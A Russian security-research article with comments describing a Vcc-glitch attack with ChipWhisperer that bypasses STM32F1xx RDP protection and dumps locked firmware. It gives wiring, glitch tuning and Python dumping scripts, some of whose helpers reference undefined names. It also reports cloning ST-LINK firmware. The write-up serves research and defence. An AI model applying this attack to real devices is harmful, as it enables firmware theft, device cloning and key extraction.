Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer


    В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак.


    Интересно? Давайте смотреть под кат.


    О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК). Также рекомендуем к прочтению статью о взломе ESP32.


    Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.


    Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:



    Плата STM32F103RBT6


    Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP). Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается.


    Аппаратная настройка


    Приступим к проведению эксперимента. Для начала необходимо подключить ChipWhisperer к МК согласно рисунку:



    Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик


    На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК). Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины.


    Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.


    Перейдем к настройке ChipWhisperer. Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Чем выше кратность этой частоты, тем точнее можно настроить момент атаки. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение.


    Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте).


    Осталось подобрать значение параметра scope.glitch.ext_offset.


    Подбор scope.glitch.ext_offset


    Сначала необходимо выбрать момент атаки. Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти:



    Алгоритм ответа на запрос о чтении данных сектора флеш-памяти


    Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link. На рисунках ниже показаны части алгоритма обработки команды Read Memory command.



    Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)



    Тело функции проверки RDP


    Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 + 0x1C, логический сдвиг на 30 разрядов и ветвление. Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000 – это базовый адрес контроллера flash memory, а 0x1C – это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP.


    Необходимый момент проведения атаки – отработка инструкции LDR (загрузки из памяти). Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11 с контрольной суммой 0xEE) и ответом ACK/NOACK МК по UART. Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1. В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так:



    Выбор момента проведения атаки


    Скрипт считывания прошивки


    Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object), расположенного в файле programmer_stm32fserial.py по пути software/chipwhisperer/hardware/naeusb/. Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd) стал глобально доступным, и добавить команду scope.arm() до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. Итоговый класс приведен в спойлере ниже.


    Класс для общения ChipWhisperer с STM32
    import time
    import sys
    import logging
    from chipwhisperer.common.utils import util
    from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f
    from chipwhisperer.capture.api.programmers import Programmer
    
    # class which can normally using internal CW library for reading STM32 firmware by UART
    class STM32Reader(Programmer):
        def __init__(self):
            super(STM32Reader, self).__init__()
            self.supported_chips = supported_stm32f
    
            self.slow_speed = False
            self.small_blocks = True
            self.stm = None
    
        def stm32prog(self):
    
            if self.stm is None:
                stm = self.scope.scopetype.dev.serialstm32f
            else:
                stm = self.stm
    
            stm.slow_speed = self.slow_speed
            stm.small_blocks = self.small_blocks
    
            return stm
    
        def stm32open(self):
            stm32f = self.stm32prog()
            stm32f.open_port()
    
        def stm32find(self):
            stm32f = self.stm32prog()
            stm32f.scope = self.scope
            sig, chip = stm32f.find()
    
        def stm32readMem(self, addr, lng):
            stm32f = self.stm32prog()
            stm32f.scope = self.scope
            #answer = stm32f.readMemory(addr, lng)
            answer = self.ReadMemory(addr, lng)
            return answer
    
        def stm32GetID(self):
            stm32f = self.stm32prog()
            stm32f.scope = self.scope
            answer = stm32f.cmdGetID()
            return answer
    
        # Needed for connection to STM after reload by reset_target(scope) method
        def FindSTM(self):
            #setup serial port (or CW-serial port?)
            stm32f = self.stm32prog()
    
            try:
                stm32f.initChip()
            except IOError:
                print("Failed to detect chip. Check following: ")
                print("   1. Connections and device power. ")
                print("   2. Device has valid clock (or remove clock entirely for internal osc).")
                print("   3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.")
                raise
    
            boot_version = stm32f.cmdGet()
            chip_id = stm32f.cmdGetID()
    
            for t in supported_stm32f:
                if chip_id == t.signature:
    #                print("Detected known STMF32: %s" % t.name)
                    stm32f.setChip(t)
                    return chip_id, t
    #        print("Detected unknown STM32F ID: 0x%03x" % chip_id)
            return chip_id, None

    Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.


    Код HEX-конвертера и вспомогательные функции
    def int2str_0xFF(int_number, number_of_bytes):
        return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string)
    
    def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32):
        if mem_sector > 0xFFFF:
            mem_conversion = mem_sector >> 16
            mem_conversion = mem_sector - (mem_conversion << 16)
        data_out = ''
        for i in range(int(256/mem_step)):
            data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)]
            mem_calc = mem_conversion + (i * mem_step)
            data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n'
        return data_out
    
    def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step):
        addr_string = memory_address -((memory_address >> 20) << 20)
    
        data_buffer = ''
        crcacc = 0
        for x in range(0, len(data_to_convert)):
            data_buffer += int2str_0xFF(data_to_convert[x], 2)
            crcacc += data_to_convert[x]
    
        crcacc += mem_step
    
        temp_addr_string = addr_string
        for i in range (4, -1, -2):
            crcacc += temp_addr_string >> i*4
            temp_addr_string -= ((temp_addr_string >> i*4) << i*4)
    
        crcacc_2nd_symbol = (crcacc >> 8) + 1
        crcacc = (crcacc_2nd_symbol << 8) - crcacc
        if crcacc == 0x100:
            crcacc = 0
        RECTYP = 0x00
        out_string = ':'+ Int_To_Hex_String(mem_step, 2)  +\
            Int_To_Hex_String((addr_string),4) +\
            Int_To_Hex_String(RECTYP, 2) +\
            data_buffer +\
            Int_To_Hex_String(crcacc, 2)
        return out_string
    
    def send_to_file(info_to_output, File_name, directory):
        file = open(directory + File_name + '.hex', 'w')
        file.write(info_to_output)
        file.close()
    
    def reset_target(scope):
        scope.io.nrst = 'low'
        time.sleep(0.05)
        scope.io.nrst = 'high'
    
    from collections import namedtuple
    Range = namedtuple('Range', ['min', 'max', 'step'])
    

    Настройка параметров ChipWhisperer завершена. Итоговый скрипт на считывание прошивки выглядит следующим образом:


    # string of start HEX file
    Start_of_File_Record = ':020000040800F2'
    # string of end HEX file
    End_of_File_Record = ':00000001FF'
    
    length_of_sector = 256
    if length_of_sector % 4 != 0:
        sys.exit('length_of_sector must be equal to 4')
    
    output_to_file_buffer = ''
    output_to_file_buffer += Start_of_File_Record + '\n'
    
    mem_current = mem_start
    while mem_current < mem_stop:
        # flush the garbage from the computer's target read buffer
        target.ser.flush()
        # run aux stuff that should run before the scope arms here
        reset_target(scope)
        # initialize STM32 after each reset
        prog.FindSTM()
    
        try:
            # reading of closed memory sector
            data = prog.stm32readMem(mem_current, length_of_sector)
        except Exception as message:
            message = str(message)
            if "Can't read port" in message:
    #            print('Port silence')
                pass
            elif 'Unknown response. 0x11: 0x0' in message:
    #            print('Crashed. Reload!')
                pass
            elif 'NACK 0x11' in message:
    #            print('Firmware is closed!')
                pass
            else:
    #            print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset)
                pass
    
        else:
            data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current)
            print(data_to_out)
            output_to_file_buffer += data_to_out
        mem_current += length_of_sector
    
    output_to_file_buffer += End_of_File_Record + '\n'
    send_to_file(output_to_file_buffer, File_name, directory)

    Все закомментированные сообщения print() после строчки except Exception as помогают отслеживать состояние МК при поиске оптимальных параметров glitch-импульса. Для отслеживания конкретного состояния МК достаточно раскомментировать необходимое сообщение print().


    Результаты считывания


    На видео продемонстрирована загрузка прошивки на МК через программатор ST-LINK, перевод RDP в состояние защиты и последующее считывание прошивки:



    Успешному проведению Vcc-glitch-атаки могут помешать следующие ошибки:


    • считывание неверного сектора памяти;


    • самопроизвольное удаление прошивки.


    Избежать подобных ошибок поможет точный выбор момента атаки путем увеличения частоты работы ChipWhisperer.


    После разработки и отладки алгоритма считывания защищенной прошивки мы провели тестовое считывание прошивки программатора ST-LINK-V2.1, который работает на МК STM32F103CBT6. Считанную прошивку мы зашили на «чистый» МК STM32F103CBT6 и установили его вместо заводского. В результате ST-LINK-V2.1 с замененным МК работал в нормальном режиме, будто подмены не было.


    Также мы попробовали провести серию атак на STM32F303RCT7. Этот МК в ходе атаки вел себя идентично STM32F103RBT6, но ответ на запрос чтения памяти содержал байт, равный 0х00, что не совпадало с ожидаемым нами результатом. Причина такой неудачи заключалась в более сложном и развитом принципе организации защиты этих МК.


    В МК STM32F1xx существует два состояния защиты: защита выключена (Level 0) и включена (Level 1). В старших моделях предусмотрено три состояния защиты: защита отключена (Level 0, RDP = 0x55AA), защита флеш- и SRAM-памяти (Level 2, RDP = 0x33CC) и защита только флеш-памяти (Level 1, RDP принимает любые значения, отличные от 0x55AA и 0x33CC). Поскольку Level 1 может принимать множество значений RDP, установить Level 0 достаточно тяжело. С другой стороны, существует возможность понижения уровня защиты с Level 2 на Level 1 сбиванием одного бита в байте RDP (показано на рисунке ниже), что открывает доступ к SRAM-памяти.



    Сравнение значений RDP для разных уровней защиты прошивки


    Остается только понять, как этим может воспользоваться злоумышленник. Например, с помощью метода CBS (Cold-Boot Stepping), описанного в этой статье. Этот метод основан на поэтапном снимке состояния SRAM-памяти (периодичность выполнения каждого снимка была в районе микросекунды) после загрузки МК с целью получения ключей шифрования, скрытых паролей или любой другой ценной информации. Авторы предполагают, что метод CBS сработает на всех сериях МК STM32.


    Выводы


    Подведем итоги наших экспериментов. Выполнение Vcc-glitch-атаки с использованием данных, полученных в результате предыдущего исследования (о котором можно прочитать здесь), заняло у нас несколько дней. А значит, научиться проводить подобные атаки достаточно легко.


    Vcc-glitch-атаки опасны тем, что от них сложно защититься. Для уменьшения вероятности успешного проведения подобных атак предлагается использовать МК с более высоким уровнем защиты.



    Raccoon Security – специальная команда экспертов НТЦ «Вулкан» в области практической информационной безопасности, криптографии, схемотехники, обратной разработки и создания низкоуровневого программного обеспечения.


    НТЦ Вулкан
    Исследуем, разрабатываем, защищаем

    Комментарии 43

      –13
      Какой смысл считывать залоченную прошивку, если написать полный аналог выйдет намного дешевле, чем разбираться в дизассемблированной мути?
      P.S. Те, кто лочит прошивки на МК, будут вариться в одном котле вместе с патентными троллями, микрокредиторами и прочей нечистью.
        +4
        Это если нет такой пакости, как взаимодействие МК с неизвестным железом. Иногда дизассемблирование прошивки — самый прямой путь к получению протокола взаимодействия с неведомой чёрной плюмбой на плате.
          –3
          В этом случае куда проще поработать с логическим анализатором.
        +7
        1. Чтобы тупо сделать клон устройства
        2. Чтобы вытащить от туда ключ шифрования
          +8
          Те, кто лочит прошивки на МК, будут вариться в одном котле вместе с патентными троллями, микрокредиторами и прочей нечистью.
          Вы, по всей видимости, альтруист. Не боитесь остаться без штанов с такой жизненной позицией?

          PS: Первое правило бизнеса — защищайте свои инвестиции © «Этикет банкира», 1775 г.
            –11
            Free Software для вас ничего не говорит? Сочувствую.
              –8
              Да уж, сколько здесь проприетастов… Аж страшно!
                +1
                Ну что же ты как Диоген в бочке не живёшь? Наверное и кушаешь каждый день, ай-яй-яй! Да ещё небось и квартира есть и машина, безобразие.
                +1
                Free Software != Open Source
                  0
                  Естественно. Я радею за Free Software. Опенсорс — чушь собачья!
                    0
                    Этот комментарий очень расстраивает SpringSource, Mozilla, Linux Foundation, и других крупных контрибуторов open source.
                      0
                      Это с каких пор Linux перестал быть Free Software?
                      И да, советую-таки почитать, чем open software отличается от free! Первое означает, что лицензия может быть любой — даже проприетарной, абы код был открыт. Вторая же требует однозначной вирусной свободной лицензии.
                      Т.о. настоящую свободу дает лишь free software!
                        0

                        а с каких пор Линукс перестал быть open source?
                        free software без исходников не нужно. смысл, если я не могу допилить под себя?

                  0
                  Если software (пусть даже free) с вами говорит, то у меня для вас плохие новости…
                    0
                    FreeSoftWare — иная бизнес-модель. У нас, скажем, в софте 50 человеколет наукоемкого кода. Это embeded, то есть железка. Китайцы все могут повторить дешевле — кроме кода. Пока единичные экземпляры — защищает необходимость обслуживания. Будет массовая серия — защита только в закрытости кода.

                    FreeSoftware живет в некоммерческом сегменте. Или там, где нужна поддержка. А в наукоемком массовом — не живёт.
                  +3
                  Ну давай, напиши мне прошивку на какой-нибудь хроматограф…
                    0
                    Да запросто. Составляй техзадание, а я оглашу сумму.
                      +3
                      Ха. Если бы было полное ТЗ, то любой дурак бы хроматограф повторил. Потому как закодировать алгоритмы — говно вопрос, а вот эти алгоритмы придумать — дело нифига не простое.

                      И да. В открытом доступе лежат прошивки того, что не имеет особенной ценности: ширпотреб всякий, гиковские приблуды, ардуиноподобные поделия, термометры всякие и прочее с алиэкспресса.
                        0
                        Без полного ТЗ — это читерство )
                          –2
                          Элементарно все разрабатывается. За 3-5 лет и грант в N миллионов рублей хорошая команда все эти алгоритмы разработает и получит желаемую железяку. Далее код, схемы и документация выкладываются на гитхаб. Все счастливы.
                          Хроматографы делают уже много десятков лет. Поэтому те, кто в теме, как свои пять пальцев все эти алгоритмы знают. И стоимость разработки можно очень даже уменьшить. Просто вот, например, я совсем не в теме, и мне понадобилось бы нанимать внешних специалистов.
                          Ну, а если надо разработать астрофизическую аппаратуру, автоматизировать что-нибудь — то добро пожаловать, все будет намного дешевле…
                          Вот царю вместо того, чтобы провоцировать бомжей и алкашей на размножение, стоило бы увеличить количество грантов при условии, что все результаты разработок будут в итоге в свободном доступе по свободным лицензиям. Можно было бы и недорогие МРТ сделать, и всякую прочую медтехнику, которую приходится за бешеные баксы за рубежом покупать. Заодно и вместо прошивок для игровых приставок работали бы в нормальном линуксе!!!
                            +3
                            А царь-то тут причём?
                            Где в открытом доступе документация на хороший, годный прибор с исходниками? Ну хрен с ним, с хроматографом. Где в открытом доступе инфа на хотя бы цифровой осциллограф уровня Тектроникса 220 мохнатого года? Со схемами, исходниками. Где? Нету…
                            И что за привычка смешивать всё в кучу.
                            Царь ему мешает, насмешил. Ну идите к Маску тогда, предложите: он вам — грант на ахулиард денег, вы ему — все разработки в открытом доступе, чтобы все пользовались, недорогие МРТ делали и прочую медтехнику… Маск бы вас нахрен послал, с такими-то идеями.
                            Потому что капитализм-с, и защита интеллектуальной собственности и прочее. А он везде одинаков, что тут, что там.
                              0
                              Капитализм — загнивающий тупик. Только социализм способен повернуть этот мир к лучшему.
                              И первая вешка на пути к социализму — свободное ПО! А мерзопакостных проприетастов надо всеми доступными средствами банкротить.
                                0

                                Ага один тупик уже отгнил в виде сесесер

                                  +1
                                  ссср ни с социализмом, ни с коммунизмом не имеет ничего общего
                                  +1
                                  за чей счет банкет?
                                0
                                За 3-5 лет и грант в N миллионов рублей хорошая команда все эти алгоритмы разработает и получит желаемую железяку. Далее код, схемы и документация выкладываются на гитхаб. Все счастливы.
                                С какого бодуна кто-нибудь будет вкладывать N миллионов рублей в то, что потом будет выложено на гитхаб? В бизнесе любые инвестиции делаются с целью заработать денег: не просто отбить потраченное, а отбить потраченное плюс получить прибыль. Как Вы себе видите этот заработок после выкладывания результата на гитхаб? Когда любой условный «китаец», не вложивший ни копейки ни минуты в разработку, сможет спокойненько клепать эти железки и продавать их налево-направо чуть ли не задаром.
                                  +1
                                  man государственный грант.
                                  Все, что сделано на деньги таких грантов, просто обязательно должно выкладываться в свободный доступ под свободными лицензиями!
                                    0
                                    Вы так говорите, как будто государство берёт эти деньги из воздуха. Нет — государство берёт их из собственных природных богатств (которые отнюдь не бесконечны) и из наших карманов в виде налогов. И Вы хотите, чтобы государство разбазарило эти деньги таким бездарным образом — тупо подарив их условным «китайцам»? Такое государство обречено.
                                      +1
                                      Да пусть хотя бы так. Уж лучше, чем выкидывать деньги налогоплательщиков на яхты всяких воров и жуликов!
                                      И да, плохо то государство, которое не может реализовать коммерчески выгодные проекты в виде хоть тех же МРТ дешевле, чем это сделают китайцы!!!
                                      Ну, а лично я с удовольствием бы увидел серийные железяки, созданные на основе моих схем и кода на гитхабе. Это наверняка будет намного дешевле, чем делать самому!!!
                          0
                          Ну, есть ghidra. Так что не обязательно дизасмить.
                            –1
                            И решил один человек уйти от несправедливого мира под землю. Нет не умереть, и не замуровать себя заживо. А начать новую жизнь в подземном городе по среди пустыни где будет все чего не хватало в других городах. Прикупил купил кусок пустыни, и созвал всех кто хочет попасть в его новый мир приложить силы построить его удивительный город где не будет все «залочено» и спрятано

                            Но пришло не так много людей. Мало того пожертвования на необходимые затраты оставляли желать лучшего. Прошли 1960-е потом 1970-е и энтузиазм стал еще меньше. Но неутомимый идеолог все таки призывал людей разделить его затею. Тяжелая жизнь посвященная строительству города его мечты оборвалась несколько лет назад в уже в нашем столетии, полностью охладив интерес к его начинанию. Общий объем жилплощади построенной в странном «небоскребе навыворот» куда больше чем желающих там жить. Люди в т.ч. и не добившиеся успеха программисты, больше стремятся находить себе теплые места в автомобилях или канализационных коллекторах и каналах, нежели в его городе, полном очень необычных инженерных решений.
                            Так же вспоминается активная личная жизнь Клары Цеткин ее сына и Розы Люксембург в их идее построить дома с общим домашним хозяйством для целой коммуны дома. Может стоит признать что утопии невозможны, как ее автор и написал автор «утопии», и что стоит лочить прошивки когда надо.
                              0
                              Сигналку на машины тоже лочить не надо? Или например охрану дома. )))
                                0
                                Там надо лочить ключ шифрования. Секретность алгоритма — security through obscurity.
                              0
                              очень интересная статья, а скажите можно ли сделать тоже самое с помощью ChipWhisperer-Lite?
                                +2
                                У CW-Lite меньшая комплектация, в отличии от CW1200. Также CW-Lite является Open Source проектом.

                                Функционалы у CW1200 и CW-Lite практически идентичны (в CW1200 имеется дисплей, стоят другие транзисторы на Vcc-glitch). Поэтому приведенный в статье пример возможно повторить и с использованием CW-Lite, только параметры атаки будут немного отличаться.
                                –4
                                Ничего нового нету, во вмешательстве в работу микропроцессорной системы внося помехи по линии либо линиям питания. В данном случае обход защиты только часть из того что можно сделать. Это кончено очень плохо что что старые серии микроконтроллеров stm32 содержат такую похабную дырку в защите как масочный загрузчик.
                                Надо сказать что постукивание по линии питания очень и очень «пропаливает» сам кристалл. Внутри кристалла, по шинам питания тоже конденсаторы стоят только их емкость в пикофорадах и долях пикофорада меряется, а сопротивление шин увы немаленькое доходит до сотых ома. При перекосе по питанию должен срабатывать BROWN-OUT, предохраняя от всего нехорошего, но это довольно медленная защита. Потому разработчик нарисовал конденсаторы по каждому входы питания, не от прихоти. Но при ударе по питанию возникают «сквознячки» с нарушением структуры полупроводниковых переходов и диффузией смещающей присадки в другой канал 3-валентной в 5-валентную и наоборот. Этому процессу вообще подвержены все полупроводники, но одно дело произойдет через 100 лет или совсем скоро. У меня например погорел контроллер на который я конденсатор внутреннего стабилизатора напаял при помощи без-смывочного флюса от местного гения химии, выставленного на базаре вместе с другими сомнительными химикатами. Достав паяльник в мороз на вытянутых мне показалось что паяльник выключен, но взявшись за него рукой я понял что греется и напаял оставшейся неповрежденной рукой, благо я амбидекстер, конденсатор восстановил работоспособность но микроконтроллера но увы не на долго.
                                Так что прочитав или нет но микроконтроллер вы убиваете. Каждый «стук» по питанию это день месяц или может год минус время отведенное микроконтроллеру. Надо сказать что таким образом «побитый» микроконтроллер, может проявить дефект в неожиданном месте.
                                  +3
                                  Данный метод вмешательства в работу микроконтроллеров описывается в специальной литературе очень давно. Мы продемонстрировали его состоятельность на конкретном примере с использованием такого интересного инструмента как ChipWhisperer.

                                  По поводу работоспособности МК после воздействия — честно говоря, злоумышленника по большому счету не волнует дальнейшая судьба атакуемого устройства.
                                    0
                                    Не волнует, но можно довести его до неработоспособности, аж так что перестанет читаться. Правда самый похабный способ, состоит в том что вся микросхема погружается в деполимиризующий химикат. (Дышать парами этого химиката крайне нежелательно поскольку происходит продукты деполимеризации тканей тела оказываются канцерогенами.) Достаочно микросхему промыть в бутил ацетате и она голенькая. Над полями памяти можно носить иголочку и считывать. Правда чем меньше разрешение литографического процесса в производстве микросхемы тем труднее это делать, и требуется соответственно более сложное оборудование. Есть еще способы этого избегать.
                                • НЛО прилетело и опубликовало эту надпись здесь
                                    +1
                                    Спасибо большое за отзыв. Взломать можно в принципе всё, но только вопрос во времени, трудозатратах, ресурсах, и т.д. Действительно, описанная Вами серия МК имеет более развитую систему защиты, обойти которую в значительной степени труднее.
                                      0
                                      В микроконтроллерах серии STM32G031 (как в других сериях, не изучал) второй пункт уже может быть отсечён. Дело в том, что режим загрузки в нём выбирается с помощью байтов опций (option bytes). Блок байтов опций, отвечающий в том числе за источник загрузки МК, находится по адресам 0x1FFF7800...0x1FFF7807 (4 байта основных и 4 защитных, в них пишутся первые 4 байта в инвертированном виде). За загрузку там отвечают 3 бита:
                                      Осталось убедиться, что корректное чтение этих адресов нельзя нарушить с помочью все той же глич-атаки…
                                      В общем без исследования что-либо утверждать нельзя…
                                      • НЛО прилетело и опубликовало эту надпись здесь

                                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                    Самое читаемое